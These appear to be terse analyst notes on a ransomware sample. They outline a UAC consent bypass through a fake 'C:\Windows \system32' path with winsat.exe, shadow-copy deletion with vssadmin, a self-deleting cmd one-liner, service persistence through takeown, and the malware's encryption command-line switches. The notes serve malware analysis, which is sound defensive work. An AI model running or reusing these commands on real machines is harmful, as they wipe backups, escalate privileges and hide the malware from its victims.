
SUMMARY



FLOW

UAC consent pop-up not displayed

ADS attached to bin file

RANSOM_PAYLOAD
vssadmin.exe Delete Shadows /All /Quiet



CreateProcessW ( "C:\Windows \system32\winsat.exe", ""C:\Windows \system32\winsat.exe" ", NULL, NULL, FALSE, CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | 
CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT, NULL, "C:\Users\foo\Desktop", …) 

CreateProcessW ( NULL, "cmd /c choice /t 10 /d y & attrib -h "C:\Users\foo\Desktop\a.exe" & del "C:\Users\foo\Desktop\a.exe"", NULL, NULL, FALSE, 
CREATE_NO_WINDOW, …) 

**** 

For persistence, a new service is created 

    C:\Windows\system32\takeown.exe /F C:\Windows\system32\Pn.exe 

-s Service e.f. Pn.exe -s 
-p Recursive encrypt (folder) 
-f Encrypt (folder) 
-r Remove VSS (Default backup), take ownership and copy to system folder

Trojan CommandLine


